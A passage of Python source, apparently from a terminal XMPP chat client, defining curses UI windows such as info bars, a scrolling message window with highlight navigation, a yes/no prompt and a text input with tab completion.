print_scroll_position(self, window):\n \"\"\"\n Print, like in Weechat, a -MORE(n)- where n\n is the number of available lines to scroll\n down\n \"\"\"\n if window.pos > 0:\n plus = ' -MORE(%s)-' % window.pos\n self.addstr(plus, to_curses_attr(get_theme().COLOR_SCROLLABLE_NUMBER))\n\nclass XMLInfoWin(InfoWin):\n \"\"\"\n Info about the latest xml filter used and the state of the buffer.\n \"\"\"\n def __init__(self):\n InfoWin.__init__(self)\n\n def refresh(self, filter_t='', filter='', window=None):\n log.debug('Refresh: %s', self.__class__.__name__)\n with g_lock:\n self._win.erase()\n if not filter_t:\n self.addstr('[No filter]', to_curses_attr(get_theme().COLOR_INFORMATION_BAR))\n else:\n info = '[%s] %s' % (filter_t, filter)\n self.addstr(info, to_curses_attr(get_theme().COLOR_INFORMATION_BAR))\n self.print_scroll_position(window)\n self.finish_line(get_theme().COLOR_INFORMATION_BAR)\n self._refresh()\n\nclass PrivateInfoWin(InfoWin):\n \"\"\"\n The line above the information window, displaying informations\n about the MUC user we are talking to\n \"\"\"\n def __init__(self):\n InfoWin.__init__(self)\n\n def refresh(self, name, window, chatstate, informations):\n log.debug('Refresh: %s',self.__class__.__name__)\n with g_lock:\n self._win.erase()\n self.write_room_name(name)\n self.print_scroll_position(window)\n self.write_chatstate(chatstate)\n self.write_additional_informations(informations, name)\n self.finish_line(get_theme().COLOR_INFORMATION_BAR)\n self._refresh()\n\n def write_additional_informations(self, informations, jid):\n \"\"\"\n Write all informations added by plugins by getting the\n value returned by the callbacks.\n \"\"\"\n for key in informations:\n self.addstr(informations[key](jid), to_curses_attr(get_theme().COLOR_INFORMATION_BAR))\n\n def write_room_name(self, name):\n jid = safeJID(name)\n room_name, nick = jid.bare, jid.resource\n self.addstr(nick, to_curses_attr(get_theme().COLOR_PRIVATE_NAME))\n txt = ' from room %s' % room_name\n self.addstr(txt, to_curses_attr(get_theme().COLOR_INFORMATION_BAR))\n\n def write_chatstate(self, state):\n if state:\n self.addstr(' %s' % (state,), to_curses_attr(get_theme().COLOR_INFORMATION_BAR))\n\nclass MucListInfoWin(InfoWin):\n \"\"\"\n The live above the information window, displaying informations\n about the muc server being listed\n \"\"\"\n def __init__(self, message=''):\n InfoWin.__init__(self)\n self.message = message\n\n def refresh(self, name=None):\n log.debug('Refresh: %s',self.__class__.__name__)\n with g_lock:\n self._win.erase()\n if name:\n self.addstr(name, to_curses_attr(get_theme().COLOR_INFORMATION_BAR))\n else:\n self.addstr(self.message, to_curses_attr(get_theme().COLOR_INFORMATION_BAR))\n self.finish_line(get_theme().COLOR_INFORMATION_BAR)\n self._refresh()\n\nclass ConversationInfoWin(InfoWin):\n \"\"\"\n The line above the information window, displaying informations\n about the user we are talking to\n \"\"\"\n\n def __init__(self):\n InfoWin.__init__(self)\n\n def refresh(self, jid, contact, window, chatstate, informations):\n # contact can be None, if we receive a message\n # from someone not in our roster. In this case, we display\n # only the maximum information from the message we can get.\n log.debug('Refresh: %s',self.__class__.__name__)\n jid = safeJID(jid)\n if contact:\n if jid.resource:\n resource = contact[jid.full]\n else:\n resource = contact.get_highest_priority_resource()\n else:\n resource = None\n # if contact is None, then resource is None too: user is not in the roster\n # so we know almost nothing about it\n # If contact is a Contact, then\n # resource can now be a Resource: user is in the roster and online\n # or resource is None: user is in the roster but offline\n with g_lock:\n self._win.erase()\n self.write_contact_jid(jid)\n self.write_contact_informations(contact)\n self.write_resource_information(resource)\n self.print_scroll_position(window)\n self.write_chatstate(chatstate)\n self.write_additional_informations(informations, jid)\n self.finish_line(get_theme().COLOR_INFORMATION_BAR)\n self._refresh()\n\n def write_additional_informations(self, informations, jid):\n \"\"\"\n Write all informations added by plugins by getting the\n value returned by the callbacks.\n \"\"\"\n for key in informations:\n self.addstr(informations[key](jid), to_curses_attr(get_theme().COLOR_INFORMATION_BAR))\n\n def write_resource_information(self, resource):\n \"\"\"\n Write the informations about the resource\n \"\"\"\n if not resource:\n presence = \"unavailable\"\n else:\n presence = resource.presence\n color = get_theme().color_show(presence)\n self.addstr('[', to_curses_attr(get_theme().COLOR_INFORMATION_BAR))\n self.addstr(get_theme().CHAR_STATUS, to_curses_attr(color))\n self.addstr(']', to_curses_attr(get_theme().COLOR_INFORMATION_BAR))\n\n def write_contact_informations(self, contact):\n \"\"\"\n Write the informations about the contact\n \"\"\"\n if not contact:\n self.addstr(\"(contact not in roster)\", to_curses_attr(get_theme().COLOR_INFORMATION_BAR))\n return\n display_name = contact.name\n if display_name:\n self.addstr('%s '%(display_name), to_curses_attr(get_theme().COLOR_INFORMATION_BAR))\n\n def write_contact_jid(self, jid):\n \"\"\"\n Just write the jid that we are talking to\n \"\"\"\n self.addstr('[', to_curses_attr(get_theme().COLOR_INFORMATION_BAR))\n self.addstr(jid.full, to_curses_attr(get_theme().COLOR_CONVERSATION_NAME))\n self.addstr('] ', to_curses_attr(get_theme().COLOR_INFORMATION_BAR))\n\n def write_chatstate(self, state):\n if state:\n self.addstr(' %s' % (state,), to_curses_attr(get_theme().COLOR_INFORMATION_BAR))\n\nclass DynamicConversationInfoWin(ConversationInfoWin):\n def write_contact_jid(self, jid):\n \"\"\"\n Just displays the resource in an other color\n \"\"\"\n log.debug(\"write_contact_jid DynamicConversationInfoWin, jid: %s\" % jid.resource)\n self.addstr('[', to_curses_attr(get_theme().COLOR_INFORMATION_BAR))\n self.addstr(jid.bare, to_curses_attr(get_theme().COLOR_CONVERSATION_NAME))\n if jid.resource:\n self.addstr(\"/%s\" % (jid.resource,), to_curses_attr(get_theme().COLOR_CONVERSATION_RESOURCE))\n self.addstr('] ', to_curses_attr(get_theme().COLOR_INFORMATION_BAR))\n\nclass ConversationStatusMessageWin(InfoWin):\n \"\"\"\n The upper bar displaying the status message of the contact\n \"\"\"\n def __init__(self):\n InfoWin.__init__(self)\n\n def refresh(self, jid, contact):\n log.debug('Refresh: %s',self.__class__.__name__)\n jid = safeJID(jid)\n if contact:\n if jid.resource:\n resource = contact[jid.full]\n else:\n resource = contact.get_highest_priority_resource()\n else:\n resource = None\n with g_lock:\n self._win.erase()\n if resource:\n self.write_status_message(resource)\n self.finish_line(get_theme().COLOR_INFORMATION_BAR)\n self._refresh()\n\n def write_status_message(self, resource):\n self.addstr(resource.status, to_curses_attr(get_theme().COLOR_INFORMATION_BAR))\n\nclass MucInfoWin(InfoWin):\n \"\"\"\n The line just above the information window, displaying informations\n about the MUC we are viewing\n \"\"\"\n def __init__(self):\n InfoWin.__init__(self)\n\n def refresh(self, room, window=None):\n log.debug('Refresh: %s',self.__class__.__name__)\n with g_lock:\n self._win.erase()\n self.write_room_name(room)\n self.write_participants_number(room)\n self.write_own_nick(room)\n self.write_disconnected(room)\n self.write_role(room)\n if window:\n self.print_scroll_position(window)\n self.finish_line(get_theme().COLOR_INFORMATION_BAR)\n self._refresh()\n\n def write_room_name(self, room):\n self.addstr('[', to_curses_attr(get_theme().COLOR_INFORMATION_BAR))\n self.addstr(room.name, to_curses_attr(get_theme().COLOR_GROUPCHAT_NAME))\n self.addstr(']', to_curses_attr(get_theme().COLOR_INFORMATION_BAR))\n\n def write_participants_number(self, room):\n self.addstr('{', to_curses_attr(get_theme().COLOR_INFORMATION_BAR))\n self.addstr(str(len(room.users)), to_curses_attr(get_theme().COLOR_GROUPCHAT_NAME))\n self.addstr('} ', to_curses_attr(get_theme().COLOR_INFORMATION_BAR))\n\n def write_disconnected(self, room):\n \"\"\"\n Shows a message if the room is not joined\n \"\"\"\n if not room.joined:\n self.addstr(' -!- Not connected ', to_curses_attr(get_theme().COLOR_INFORMATION_BAR))\n\n def write_own_nick(self, room):\n \"\"\"\n Write our own nick in the info bar\n \"\"\"\n nick = room.own_nick\n if not nick:\n return\n self.addstr(truncate_nick(nick, 13), to_curses_attr(get_theme().COLOR_INFORMATION_BAR))\n\n def write_role(self, room):\n \"\"\"\n Write our own role and affiliation\n \"\"\"\n own_user = None\n for user in room.users:\n if user.nick == room.own_nick:\n own_user = user\n break\n if not own_user:\n return\n txt = ' ('\n if own_user.affiliation != 'none':\n txt += own_user.affiliation+', '\n txt += own_user.role+')'\n self.addstr(txt, to_curses_attr(get_theme().COLOR_INFORMATION_BAR))\n\nclass TextWin(Win):\n def __init__(self, lines_nb_limit=config.get('max_lines_in_memory', 2048)):\n Win.__init__(self)\n self.lines_nb_limit = lines_nb_limit\n self.pos = 0\n self.built_lines = [] # Each new message is built and kept here.\n # on resize, we rebuild all the messages\n\n self.lock = False\n self.lock_buffer = []\n\n # the Lines of the highlights in that buffer\n self.highlights = []\n # the current HL position in that list NaN means that we’re not on\n # an hl. -1 is a valid position (it's before the first hl of the\n # list. i.e the separator, in the case where there’s no hl before\n # it.)\n self.hl_pos = float('nan')\n\n # Keep track of the number of hl after the separator.\n # This is useful to make “go to next highlight“ work after a “move to separator”.\n self.nb_of_highlights_after_separator = 0\n\n self.separator_after = None\n\n def toggle_lock(self):\n if self.lock:\n self.release_lock()\n else:\n self.acquire_lock()\n return self.lock\n\n def acquire_lock(self):\n self.lock = True\n\n def release_lock(self):\n for line in self.lock_buffer:\n self.built_lines.append(line)\n self.lock = False\n\n def next_highlight(self):\n \"\"\"\n Go to the next highlight in the buffer.\n (depending on which highlight was selected before)\n if the buffer is already positionned on the last, of if there are no\n highlights, scroll to the end of the buffer.\n \"\"\"\n log.debug('Going to the next highlight…')\n if not self.highlights or self.hl_pos != self.hl_pos or \\\n self.hl_pos == len(self.highlights)-1:\n self.hl_pos = float('nan')\n self.pos = 0\n return\n hl_size = len(self.highlights) - 1\n if self.hl_pos < hl_size:\n self.hl_pos += 1\n else:\n self.hl_pos = hl_size\n log.debug(\"self.hl_pos = %s\" % self.hl_pos)\n hl = self.highlights[self.hl_pos]\n pos = None\n while not pos:\n try:\n pos = self.built_lines.index(hl)\n except ValueError:\n self.highlights = self.highlights[self.hl_pos+1:]\n if not self.highlights:\n self.hl_pos = float('nan')\n self.pos = 0\n return\n hl = self.highlights[0]\n self.pos = len(self.built_lines) - pos - self.height\n if self.pos < 0 or self.pos >= len(self.built_lines):\n self.pos = 0\n\n def previous_highlight(self):\n \"\"\"\n Go to the previous highlight in the buffer.\n (depending on which highlight was selected before)\n if the buffer is already positionned on the first, or if there are no\n highlights, scroll to the end of the buffer.\n \"\"\"\n log.debug('Going to the previous highlight…')\n if not self.highlights or self.hl_pos <= 0:\n self.hl_pos = float('nan')\n self.pos = 0\n return\n if self.hl_pos != self.hl_pos:\n self.hl_pos = len(self.highlights) - 1\n elif self.hl_pos > 0:\n self.hl_pos -= 1\n log.debug(\"self.hl_pos = %s\" % self.hl_pos)\n hl = self.highlights[self.hl_pos]\n pos = None\n while not pos:\n try:\n pos = self.built_lines.index(hl)\n except ValueError:\n self.highlights = self.highlights[self.hl_pos+1:]\n if not self.highlights:\n self.hl_pos = float('nan')\n self.pos = 0\n return\n hl = self.highlights[0]\n self.pos = len(self.built_lines) - pos - self.height\n if self.pos < 0 or self.pos >= len(self.built_lines):\n self.pos = 0\n\n def scroll_up(self, dist=14):\n pos = self.pos\n self.pos += dist\n if self.pos + self.height > len(self.built_lines):\n self.pos = len(self.built_lines) - self.height\n if self.pos < 0:\n self.pos = 0\n return self.pos != pos\n\n def scroll_down(self, dist=14):\n pos = self.pos\n self.pos -= dist\n if self.pos <= 0:\n self.pos = 0\n return self.pos != pos\n\n def scroll_to_separator(self):\n \"\"\"\n Scroll until separator is centered. If no separator is\n present, scroll at the top of the window\n \"\"\"\n if None in self.built_lines:\n self.pos = len(self.built_lines) - self.built_lines.index(None) - self.height + 1\n if self.pos < 0:\n self.pos = 0\n else:\n self.pos = len(self.built_lines) - self.height + 1\n # Chose a proper position (not too high)\n self.scroll_up(0)\n # Make “next highlight” work afterwards. This makes it easy to\n # review all the highlights since the separator was placed, in\n # the correct order.\n self.hl_pos = len(self.highlights) - self.nb_of_highlights_after_separator - 1\n log.debug(\"self.hl_pos = %s\" % self.hl_pos)\n\n def remove_line_separator(self):\n \"\"\"\n Remove the line separator\n \"\"\"\n log.debug('remove_line_separator')\n if None in self.built_lines:\n self.built_lines.remove(None)\n self.separator_after = None\n\n def add_line_separator(self, room=None):\n \"\"\"\n add a line separator at the end of messages list\n room is a textbuffer that is needed to get the previous message\n (in case of resize)\n \"\"\"\n if None not in self.built_lines:\n self.built_lines.append(None)\n self.nb_of_highlights_after_separator = 0\n log.debug(\"Reseting number of highlights after separator\")\n if room and room.messages:\n self.separator_after = room.messages[-1]\n\n def build_new_message(self, message, history=None, clean=True, highlight=False, timestamp=False):\n \"\"\"\n Take one message, build it and add it to the list\n Return the number of lines that are built for the given\n message.\n \"\"\"\n lines = self.build_message(message, timestamp=timestamp)\n if self.lock:\n self.lock_buffer.extend(lines)\n else:\n self.built_lines.extend(lines)\n if not lines or not lines[0]:\n return 0\n if highlight:\n self.highlights.append(lines[0])\n self.nb_of_highlights_after_separator += 1\n log.debug(\"Number of highlights after separator is now %s\" % \\\n self.nb_of_highlights_after_separator)\n if clean:\n while len(self.built_lines) > self.lines_nb_limit:\n self.built_lines.pop(0)\n return len(lines)\n\n def build_message(self, message, timestamp=False):\n \"\"\"\n Build a list of lines from a message, without adding it\n to a list\n \"\"\"\n if message is None: # line separator\n return [None]\n txt = message.txt\n if not txt:\n return []\n ret = []\n nick = truncate_nick(message.nickname)\n offset = 0\n if nick:\n offset += poopt.wcswidth(nick) + 2 # + nick + '> ' length\n if message.revisions > 0:\n offset += ceil(log10(message.revisions + 1))\n if message.me:\n offset += 1 # '* ' before and ' ' after\n if timestamp:\n if message.str_time:\n offset += 1 + len(message.str_time)\n if get_theme().CHAR_TIME_LEFT and message.str_time:\n offset += 1\n if get_theme().CHAR_TIME_RIGHT and message.str_time:\n offset += 1\n lines = poopt.cut_text(txt, self.width-offset-1)\n prepend = ''\n attrs = []\n for line in lines:\n saved = Line(msg=message, start_pos=line[0], end_pos=line[1], prepend=prepend)\n attrs = parse_attrs(message.txt[line[0]:line[1]], attrs)\n if attrs:\n prepend = FORMAT_CHAR + FORMAT_CHAR.join(attrs)\n else:\n prepend = ''\n ret.append(saved)\n return ret\n\n def refresh(self):\n log.debug('Refresh: %s', self.__class__.__name__)\n if self.height <= 0:\n return\n if self.pos == 0:\n lines = self.built_lines[-self.height:]\n else:\n lines = self.built_lines[-self.height-self.pos:-self.pos]\n with_timestamps = config.get(\"show_timestamps\", 'true') != 'false'\n with g_lock:\n self._win.move(0, 0)\n self._win.erase()\n for y, line in enumerate(lines):\n if line:\n msg = line.msg\n if line.start_pos == 0:\n if msg.nick_color:\n color = msg.nick_color\n elif msg.user:\n color = msg.user.color\n else:\n color = None\n if with_timestamps:\n self.write_time(msg.str_time)\n if msg.me:\n self._win.attron(to_curses_attr(get_theme().COLOR_ME_MESSAGE))\n self.addstr('* ')\n self.write_nickname(msg.nickname, color, msg.highlight)\n if msg.revisions:\n self._win.attron(to_curses_attr(get_theme().COLOR_REVISIONS_MESSAGE))\n self.addstr('%d' % msg.revisions)\n self._win.attrset(0)\n self.addstr(' ')\n else:\n self.write_nickname(msg.nickname, color, msg.highlight)\n if msg.revisions:\n self._win.attron(to_curses_attr(get_theme().COLOR_REVISIONS_MESSAGE))\n self.addstr('%d' % msg.revisions)\n self._win.attrset(0)\n self.addstr('> ')\n if y != self.height-1:\n self.addstr('\\n')\n self._win.attrset(0)\n for y, line in enumerate(lines):\n if not line:\n self.write_line_separator(y)\n else:\n self.write_text(y,\n # Offset for the timestamp (if any) plus a space after it\n (0 if not with_timestamps else (len(line.msg.str_time) + 1)) +\n # Offset for the nickname (if any) plus a space and a > after it\n (0 if not line.msg.nickname else (poopt.wcswidth(truncate_nick(line.msg.nickname)) + (3 if line.msg.me else 2) + ceil(log10(line.msg.revisions + 1)))),\n line.prepend+line.msg.txt[line.start_pos:line.end_pos])\n if y != self.height-1:\n self.addstr('\\n')\n self._win.attrset(0)\n self._refresh()\n\n def write_line_separator(self, y):\n char = get_theme().CHAR_NEW_TEXT_SEPARATOR\n self.addnstr(y, 0,\n char*((self.width//len(char) - 1)),\n self.width,\n to_curses_attr(get_theme().COLOR_NEW_TEXT_SEPARATOR))\n\n def write_text(self, y, x, txt):\n \"\"\"\n write the text of a line.\n \"\"\"\n self.addstr_colored(txt, y, x)\n\n def write_nickname(self, nickname, color, highlight=False):\n \"\"\"\n Write the nickname, using the user's color\n and return the number of written characters\n \"\"\"\n if not nickname:\n return\n if highlight:\n hl_color = get_theme().COLOR_HIGHLIGHT_NICK\n if hl_color == \"reverse\":\n self._win.attron(curses.A_REVERSE)\n else:\n color = hl_color\n if color:\n self._win.attron(to_curses_attr(color))\n self.addstr(truncate_nick(nickname))\n if color:\n self._win.attroff(to_curses_attr(color))\n if highlight and hl_color == \"reverse\":\n self._win.attroff(curses.A_REVERSE)\n\n def write_time(self, time):\n \"\"\"\n Write the date on the yth line of the window\n \"\"\"\n if time:\n self.addstr(time)\n self.addstr(' ')\n\n def resize(self, height, width, y, x, room=None):\n with g_lock:\n if hasattr(self, 'width'):\n old_width = self.width\n else:\n old_width = None\n self._resize(height, width, y, x)\n if room and self.width != old_width:\n self.rebuild_everything(room)\n\n def rebuild_everything(self, room):\n self.built_lines = []\n with_timestamps = config.get(\"show_timestamps\", 'true') != 'false'\n for message in room.messages:\n self.build_new_message(message, clean=False, timestamp=with_timestamps)\n if self.separator_after is message:\n self.build_new_message(None)\n while len(self.built_lines) > self.lines_nb_limit:\n self.built_lines.pop(0)\n\n def modify_message(self, old_id, message):\n \"\"\"\n Find a message, and replace it with a new one\n (instead of rebuilding everything in order to correct a message)\n \"\"\"\n with_timestamps = config.get(\"show_timestamps\", 'true') != 'false'\n for i in range(len(self.built_lines)-1, -1, -1):\n if self.built_lines[i] and self.built_lines[i].msg.identifier == old_id:\n index = i\n while index >= 0 and self.built_lines[index] and self.built_lines[index].msg.identifier == old_id:\n self.built_lines.pop(index)\n index -= 1\n index += 1\n lines = self.build_message(message, timestamp=with_timestamps)\n for line in lines:\n self.built_lines.insert(index, line)\n index +=1\n break\n\n def __del__(self):\n log.debug('** TextWin: deleting %s built lines', (len(self.built_lines)))\n del self.built_lines\n\nclass HelpText(Win):\n \"\"\"\n A Window just displaying a read-only message.\n Usually used to replace an Input when the tab is in\n command mode.\n \"\"\"\n def __init__(self, text=''):\n Win.__init__(self)\n self.txt = text\n\n def refresh(self, txt=None):\n log.debug('Refresh: %s',self.__class__.__name__)\n if txt:\n self.txt = txt\n with g_lock:\n self._win.erase()\n self.addstr(0, 0, self.txt[:self.width-1], to_curses_attr(get_theme().COLOR_INFORMATION_BAR))\n self.finish_line(get_theme().COLOR_INFORMATION_BAR)\n self._refresh()\n\n def do_command(self, key, raw=False):\n return False\n\nclass YesNoInput(Win):\n \"\"\"\n A Window just displaying a Yes/No input\n Used to ask a confirmation\n \"\"\"\n def __init__(self, text=''):\n Win.__init__(self)\n self.key_func = {\n 'y' : self.on_yes,\n 'n' : self.on_no,\n }\n self.txt = text\n self.value = None\n\n def on_yes(self):\n self.value = True\n\n def on_no(self):\n self.value = False\n\n def refresh(self, txt=None):\n log.debug('Refresh: %s',self.__class__.__name__)\n if txt:\n self.txt = txt\n with g_lock:\n self._win.erase()\n self.addstr(0, 0, self.txt[:self.width-1], to_curses_attr(get_theme().COLOR_WARNING_PROMPT))\n self.finish_line(get_theme().COLOR_WARNING_PROMPT)\n self._refresh()\n\n def do_command(self, key, raw=False):\n if key.lower() in self.key_func:\n self.key_func[key]()\n\n def prompt(self):\n \"\"\"Monopolizes the input while waiting for a recognized keypress\"\"\"\n cl = []\n while self.value is None:\n if len(cl) == 1 and cl[0] in self.key_func:\n self.key_func[cl[0]]()\n cl = self.core.read_keyboard()\n\nclass Input(Win):\n \"\"\"\n The simplest Input possible, provides just a way to edit a single line\n of text. It also has a clipboard, common to all Inputs.\n Doesn't have any history.\n It doesn't do anything when enter is pressed either.\n This should be herited for all kinds of Inputs, for example MessageInput\n or the little inputs in dataforms, etc, adding specific features (completion etc)\n It features two kinds of completion, but they have to be called from outside (the Tab),\n passing the list of items that can be used to complete. The completion can be used\n in a very flexible way.\n \"\"\"\n clipboard = '' # A common clipboard for all the inputs, this makes\n # it easy cut and paste text between various input\n def __init__(self):\n self.key_func = {\n \"KEY_LEFT\": self.key_left,\n \"KEY_RIGHT\": self.key_right,\n \"KEY_END\": self.key_end,\n \"KEY_HOME\": self.key_home,\n \"KEY_DC\": self.key_dc,\n '^D': self.key_dc,\n 'M-b': self.jump_word_left,\n \"M-[1;5D\": self.jump_word_left,\n '^W': self.delete_word,\n 'M-d': self.delete_next_word,\n '^K': self.delete_end_of_line,\n '^U': self.delete_begining_of_line,\n '^Y': self.paste_clipboard,\n '^A': self.key_home,\n '^E': self.key_end,\n 'M-f': self.jump_word_right,\n \"M-[1;5C\": self.jump_word_right,\n \"KEY_BACKSPACE\": self.key_backspace,\n \"M-KEY_BACKSPACE\": self.delete_word,\n '^?': self.key_backspace,\n \"M-^?\": self.delete_word,\n # '^J': self.add_line_break,\n }\n Win.__init__(self)\n self.text = ''\n self.pos = 0 # The position of the “cursor” in the text\n # (not only in the view)\n self.view_pos = 0 # The position (in the text) of the\n # first character displayed on the\n # screen\n self.on_input = None # callback called on any key pressed\n self.color = None # use this color on addstr\n\n def on_delete(self):\n \"\"\"\n Remove all references kept to a tab, so that the tab\n can be garbage collected\n \"\"\"\n del self.key_func\n\n def set_color(self, color):\n self.color = color\n self.rewrite_text()\n\n def is_empty(self):\n if self.text:\n return False\n return True\n\n def is_cursor_at_end(self):\n \"\"\"\n Whether or not the cursor is at the end of the text.\n \"\"\"\n assert(len(self.text) >= self.pos)\n if len(self.text) == self.pos:\n return True\n return False\n\n def jump_word_left(self):\n \"\"\"\n Move the cursor one word to the left\n \"\"\"\n if self.pos == 0:\n return\n separators = string.punctuation+' '\n while self.pos > 0 and self.text[self.pos-1] in separators:\n self.key_left()\n while self.pos > 0 and self.text[self.pos-1] not in separators:\n self.key_left()\n return True\n\n def jump_word_right(self):\n \"\"\"\n Move the cursor one word to the right\n \"\"\"\n if self.is_cursor_at_end():\n return False\n separators = string.punctuation+' '\n while not self.is_cursor_at_end() and self.text[self.pos] in separators:\n self.key_right()\n while not self.is_cursor_at_end() and self.text[self.pos] not in separators:\n self.key_right()\n return True\n\n def delete_word(self):\n \"\"\"\n Delete the word just before the cursor\n \"\"\"\n separators = string.punctuation+' '\n while self.pos > 0 and self.text[self.pos-1] in separators:\n self.key_backspace()\n while self.pos > 0 and self.text[self.pos-1] not in separators:\n self.key_backspace()\n return True\n\n def delete_next_word(self):\n \"\"\"\n Delete the word just after the cursor\n \"\"\"\n separators = string.punctuation+' '\n while not self.is_cursor_at_end() and self.text[self.pos] in separators:\n self.key_dc()\n while not self.is_cursor_at_end() and self.text[self.pos] not in separators:\n self.key_dc()\n return True\n\n def delete_end_of_line(self):\n \"\"\"\n Cut the text from cursor to the end of line\n \"\"\"\n if self.is_cursor_at_end():\n return False\n Input.clipboard = self.text[self.pos:]\n self.text = self.text[:self.pos]\n self.key_end()\n return True\n\n def delete_begining_of_line(self):\n \"\"\"\n Cut the text from cursor to the begining of line\n \"\"\"\n if self.pos == 0:\n return\n Input.clipboard = self.text[:self.pos]\n self.text = self.text[self.pos:]\n self.key_home()\n return True\n\n def paste_clipboard(self):\n \"\"\"\n Insert what is in the clipboard at the cursor position\n \"\"\"\n if not Input.clipboard:\n return\n for letter in Input.clipboard:\n self.do_command(letter, False)\n self.rewrite_text()\n return True\n\n def key_dc(self):\n \"\"\"\n delete char just after the cursor\n \"\"\"\n self.reset_completion()\n if self.is_cursor_at_end():\n return # end of line, nothing to delete\n self.text = self.text[:self.pos]+self.text[self.pos+1:]\n self.rewrite_text()\n return True\n\n def key_home(self):\n \"\"\"\n Go to the begining of line\n \"\"\"\n self.reset_completion()\n self.pos = 0\n self.rewrite_text()\n return True\n\n def key_end(self, reset=False):\n \"\"\"\n Go to the end of line\n \"\"\"\n if reset:\n self.reset_completion()\n self.pos = len(self.text)\n assert(self.is_cursor_at_end())\n self.rewrite_text()\n return True\n\n def key_left(self, jump=True, reset=True):\n \"\"\"\n Move the cursor one char to the left\n \"\"\"\n if reset:\n self.reset_completion()\n if self.pos == 0:\n return\n self.pos -= 1\n if reset:\n self.rewrite_text()\n return True\n\n def key_right(self, jump=True, reset=True):\n \"\"\"\n Move the cursor one char to the right\n \"\"\"\n if reset:\n self.reset_completion()\n if self.is_cursor_at_end():\n return\n self.pos += 1\n if reset:\n self.rewrite_text()\n return True\n\n def key_backspace(self, reset=True):\n \"\"\"\n Delete the char just before the cursor\n \"\"\"\n self.reset_completion()\n if self.pos == 0:\n return\n self.key_left()\n self.key_dc()\n return True\n\n def auto_completion(self, word_list, add_after='', quotify=True):\n \"\"\"\n Complete the input, from a list of words\n if add_after is None, we use the value defined in completion\n plus a space, after the completion. If it's a string, we use it after the\n completion (with no additional space)\n \"\"\"\n if quotify:\n for i, word in enumerate(word_list[:]):\n word_list[i] = '\"' + word + '\"'\n self.normal_completion(word_list, add_after)\n return True\n\n def new_completion(self, word_list, argument_position=-1, add_after='', quotify=True, override=False):\n \"\"\"\n Complete the argument at position ``argument_postion`` in the input.\n If ``quotify`` is ``True``, then the completion will operate on block of words\n (e.g. \"toto titi\") whereas if it is ``False``, it will operate on words (e.g\n \"toto\", \"titi\").\n\n The completions may modify other parts of the input when completing an argument,\n for example removing useless double quotes around single-words, or setting the\n space between each argument to only one space.\n\n The case where we complete the first argument is special, because we complete\n the command, and we do not want to modify anything else in the input.\n\n This method is the one that should be used if the command being completed\n has several arguments.\n \"\"\"\n if argument_position == 0:\n self._new_completion_first(word_list)\n else:\n self._new_completion_args(word_list, argument_position, add_after, quotify, override)\n self.rewrite_text()\n return True\n\n def _new_completion_args(self, word_list, argument_position=-1, add_after='', quoted=True, override=False):\n \"\"\"\n Case for completing arguments with position ≠ 0\n \"\"\"\n if quoted:\n words = common.shell_split(self.text)\n else:\n words = self.text.split()\n if argument_position >= len(words):\n current = ''\n else:\n current = words[argument_position]\n\n if quoted:\n split_words = words[1:]\n words = [words[0]]\n for word in split_words:\n if ' ' in word or '\\\\' in word:\n words.append('\"' + word + '\"')\n else:\n words.append(word)\n current_l = current.lower()\n if self.last_completion is not None:\n self.hit_list.append(self.hit_list.pop(0))\n else:\n if override:\n hit_list = word_list\n else:\n hit_list = []\n for word in word_list:\n if word.lower().startswith(current_l):\n hit_list.append(word)\n if not hit_list:\n return\n self.hit_list = hit_list\n\n if argument_position >= len(words):\n if quoted and ' ' in self.hit_list[0]:\n words.append('\"'+self.hit_list[0]+'\"')\n else:\n words.append(self.hit_list[0])\n else:\n if quoted and ' ' in self.hit_list[0]:\n words[argument_position] = '\"'+self.hit_list[0]+'\"'\n else:\n words[argument_position] = self.hit_list[0]\n\n new_pos = -1\n for i, word in enumerate(words):\n if argument_position >= i:\n new_pos += len(word) + 1\n\n self.last_completion = self.hit_list[0]\n self.text = words[0] + ' ' + ' '.join(words[1:])\n self.pos = new_pos\n\n def _new_completion_first(self, word_list):\n \"\"\"\n Special case of completing the command itself:\n we don’t want to change anything to the input doing that\n \"\"\"\n space_pos = self.text.find(' ')\n if space_pos != -1:\n current, follow = self.text[:space_pos], self.text[space_pos:]\n else:\n current, follow = self.text, ''\n\n if self.last_completion:\n self.hit_list.append(self.hit_list.pop(0))\n else:\n hit_list = []\n for word in word_list:\n if word.lower().startswith(current):\n hit_list.append(word)\n if not hit_list:\n return\n self.hit_list = hit_list\n\n self.last_completion = self.hit_list[0]\n self.text = self.hit_list[0] + follow\n self.pos = len(self.hit_list[0])\n\n def get_argument_position(self, quoted=True):\n \"\"\"\n Get the argument number at the current position\n \"\"\"\n command_stop = self.text.find(' ')\n if command_stop == -1 or self.pos <= command_stop:\n return 0\n text = self.text[command_stop+1:]\n pos = self.pos - len(self.text) + len(text) - 1\n val = common.find_argument(pos, text, quoted=quoted) + 1\n return val\n\n def reset_completion(self):\n \"\"\"\n Reset the completion list (called on ALL keys except tab)\n \"\"\"\n self.hit_list = []\n self.last_completion = None\n\n def normal_completion(self, word_list, after):\n \"\"\"\n Normal completion\n \"\"\"\n (y, x) = self._win.getyx()\n pos = self.pos\n if pos < len(self.text) and after.endswith(' ') and self.text[pos] == ' ':\n after = after[:-1] # remove the last space if we are already on a space\n if not self.last_completion:\n space_before_cursor = self.text.rfind(' ', 0, pos)\n if space_before_cursor != -1:\n begin = self.text[space_before_cursor+1:pos]\n else:\n begin = self.text[:pos]\n hit_list = [] # list of matching hits\n for word in word_list:\n if word.lower().startswith(begin.lower()):\n hit_list.append(word)\n elif word.startswith('\"') and word.lower()[1:].startswith(begin.lower()):\n hit_list.append(word)\n if len(hit_list) == 0:\n return\n self.hit_list = hit_list\n end = len(begin)\n else:\n begin = self.last_completion\n end = len(begin) + len(after)\n self.hit_list.append(self.hit_list.pop(0)) # rotate list\n\n self.text = self.text[:pos-end] + self.text[pos:]\n pos -= end\n hit = self.hit_list[0] # take the first hit\n self.text = self.text[:pos] + hit + after + self.text[pos:]\n for i in range(end):\n try:\n self.key_left(reset=False)\n except:\n pass\n for i in range(len(hit + after)):\n self.key_right(reset=False)\n\n self.rewrite_text()\n self.last_completion = hit\n\n def do_command(self, key, reset=True, raw=False):\n if key in self.key_func:\n res = self.key_func[key]()\n if not raw and self.on_input:\n self.on_input(self.get_text())\n return res\n if not raw and (not key or len(key) > 1):\n return False # ignore non-handled keyboard shortcuts\n if reset:\n self.reset_completion()\n # Insert the char at the cursor position\n self.text = self.text[:self.pos]+key+self.text[self.pos:]\n self.pos += len(key)\n if reset:\n self.rewrite_text()\n if self.on_input:\n self.on_input(self.get_text())\n\n return True\n\n def add_line_break(self):\n \"\"\"\n Add a (real) 